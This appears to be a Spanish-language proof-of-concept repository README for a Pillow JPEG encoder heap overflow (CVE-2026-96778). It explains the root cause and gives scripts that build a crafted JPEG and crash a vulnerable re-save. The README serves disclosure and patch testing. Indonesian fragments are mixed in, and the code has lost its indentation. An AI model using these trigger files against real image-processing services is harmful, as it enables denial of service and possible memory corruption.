Prueba de concepto y análisis técnico de CVE-2026-96778, un desbordamiento de búfer en el heap en el codificador JPEG de Pillow provocado por un perfil ICC junto con un marcador COM al volver a guardar.
Este repositorio contiene Proof of Concept (PoC), pruebas de reproducción y análisis técnico para CVE-2026-96778, un heap buffer overflow en la biblioteca Pillow (Python Imaging Library).
Resumen breve: Volver a guardar una imagen JPEG que contiene un perfil ICC de tamaño exacto y un comentario (marcador COM) provoca una escritura más allá del búfer del codificador de 65.536 bytes, corrompe los metadatos del heap y puede provocar denial of service (caída) hasta ejecución de código.
| Campo | Valor |
|---|---|
| ID de CVE | CVE-2026-96778 |
| Componente | src/libImaging/JpegEncode.c — ImagingJpegEncode() |
| Punto vulnerable | Línea 282 (jpeg_write_marker para el marcador COM) |
| Tipo | Heap Buffer Overflow (CWE-122) |
| Rango afectado | Pillow 9.4.0 – <13.0.0 |
| Corregido en | Pillow 13.0.0 |
| Impacto | DoS (SIGSEGV/SIGABRT), posible RCE |
| Vector | Local / interacción del usuario (abrir y volver a guardar la imagen) |
| Aviso | GHSA-g7cr-3p24-7wf7 |
JpegImagePlugin._save() calcula el tamaño del búfer de salida solo a partir de
exif y extra (perfil ICC), sin dejar espacio para el comentario._encode_to_file() (src/encode.c:186) asigna un búfer
MAXBLOCK = 65.536 bytes.free_in_buffer == 0.jpeg_write_marker() para escribir el marcador COM
(JpegEncode.c:282), libjpeg escribe primero 1 byte y solo
después decrementa el contador size_t free_in_buffer.ENCODER_BUFFER = 65536 # ImageFile.MAXBLOCK
JFIF_HEADER = 20 # SOI + APP0 (ditulis jpeg_start_compress)
ICC_OVERHEAD = 18 # FFE2 <len> "ICC_PROFILE\0" <seq> <count>
ICC_PAYLOAD = 65536 - 20 - 18 = 65498 # tepat penuh
Con ICC_PAYLOAD = 65498, el búfer se llena exactamente hasta el último byte.
Añadir un marcador COM (de cualquier longitud, 1–65533 bytes) provoca un desbordamiento.
Un comentario máximo legal (65.533 bytes) hace que el desbordamiento escriba una gran cantidad de datos, por lo que el fallo es más determinista. Un comentario pequeño (p. ej., 32 bytes) sigue provocando Invalid write en Valgrind, pero no necesariamente un fallo en tiempo de ejecución normal (depende del diseño del montón y del asignador).
| Componente | Valor |
|---|---|
| SO | Ubuntu Linux x86_64 |
| Kernel | Linux 6.x |
| Python | 3.12.3 |
| Valgrind | 3.22.0 |
| libjpeg | 8.2.2 (/usr/lib/x86_64-linux-gnu/libjpeg.so.8.2.2) |
| Compilador | gcc 13.3.0 |
| Pillow probado | 9.4.0, 9.5.0, 13.0.0 |
| Fuente de Pillow | compilación desde el código fuente (pip install -e .) |
make_trigger.py — Generador de JPEG desencadenanteCrear trigger.jpg con un perfil ICC de 65.498 bytes y un marcador COM.
from PIL import Image
import io, struct
im = Image.new("RGB", (16, 16), (255, 0, 0))
buf = io.BytesIO()
im.save(buf, "JPEG", quality=90)
base_jpeg = buf.getvalue()
icc_data = b"\x00" * 65498
icc_header = b"ICC_PROFILE\x00" + bytes([1, 1])
app2_payload = icc_header + icc_data
def make_app2(payload):
length = len(payload) + 2
return b"\xFF\xE2" + struct.pack(">H", length) + payload
def make_com(comment: bytes):
length = len(comment) + 2
return b"\xFF\xFE" + struct.pack(">H", length) + comment
assert base_jpeg[:2] == b"\xFF\xD8"
trigger = base_jpeg[:2] + make_app2(app2_payload) + make_com(b"X" * 32) + base_jpeg[2:]
with open("trigger.jpg", "wb") as f:
f.write(trigger)
print("trigger.jpg dibuat:", len(trigger), "byte")
repro_cve.py — Reproducción compatible con Valgrindfrom PIL import Image
im = Image.open("trigger.jpg")
print("Ukuran:", im.size, "format:", im.format)
print("Punya ICC:", "icc_profile" in im.info)
print("Punya komentar:", "comment" in im.info)
im.save("out.jpg", "JPEG", icc_profile=im.info.get("icc_profile"))
print("Selesai menyimpan ulang.")
Ejecutar con Valgrind:
python3 make_trigger.py
valgrind --error-exitcode=1 python3 repro_cve.py 2> valgrind.log
poc_advisory.py — PoC de Referencia (Detección de Fallos)Basado en el aviso oficial GHSA-g7cr-3p24-7wf7.
Ejecuta im.save() en un proceso hijo y verifica el estado de salida
(negativo = terminado por señal).
#!/usr/bin/env python3
# Pillow heap buffer overflow in ImagingJpegEncode() (JpegEncode.c, case 4).
import random, struct, subprocess, sys
from io import BytesIO
from PIL import Image
ENCODER_BUFFER = 65536
JFIF_HEADER = 20
ICC_OVERHEAD = 18
ICC_PAYLOAD = ENCODER_BUFFER - JFIF_HEADER - ICC_OVERHEAD # 65498
COMMENT = b"C" * 65533
RESAVE = """
import sys
from io import BytesIO
from PIL import Image
im = Image.open(BytesIO(sys.stdin.buffer.read()))
im.save(BytesIO(), "JPEG", icc_profile=im.info["icc_profile"])
print("save returned normally")
"""
def segment(marker, payload):
return bytes([0xFF, marker]) + struct.pack(">H", len(payload) + 2) + payload
def make_jpeg(with_comment):
noise = random.Random(1234).randbytes(256 * 256 * 3)
out = BytesIO()
Image.frombytes("RGB", (256, 256), noise).save(out, "JPEG", quality=95)
plain = out.getvalue()
icc = segment(0xE2, b"ICC_PROFILE\0\x01\x01" + b"I" * ICC_PAYLOAD)
com = segment(0xFE, COMMENT) if with_comment else b""
return plain[:2] + icc + com + plain[2:]
def resave(jpeg):
cmd = [sys.executable, "-X", "faulthandler", "-c", RESAVE]
r = subprocess.run(cmd, input=jpeg, capture_output=True)
print((r.stdout + r.stderr).decode(errors="replace").strip())
print(f"-> exit status {r.returncode}")
return r.returncode
print("Control: re-save the JPEG without a comment")
resave(make_jpeg(with_comment=False))
print(f"\nPoC: re-save the JPEG with a {len(COMMENT)}-byte comment")
rc = resave(make_jpeg(with_comment=True))
if rc < 0:
print(f"\nim.save() killed the process with signal {-rc}: out-of-bounds heap write")
print("BUG")
else:
print("OK")
| Versión de Pillow | Origen de importación | Valgrind | PoC advisory | Estado |
|---|---|---|---|---|
| 9.4.0 | /mnt/Pillow/src/PIL | Invalid write ×5 + heap corrupt | BUG (SIGSEGV) | VULNERABLE |
| 9.5.0 | /mnt/Pillow/src/PIL | Invalid write ×5 + heap corrupt | BUG (SIGSEGV) | VULNERABLE |
| 13.0.0 | /mnt/Pillow-13/src/PIL | 0 errors | OK | SEGURO |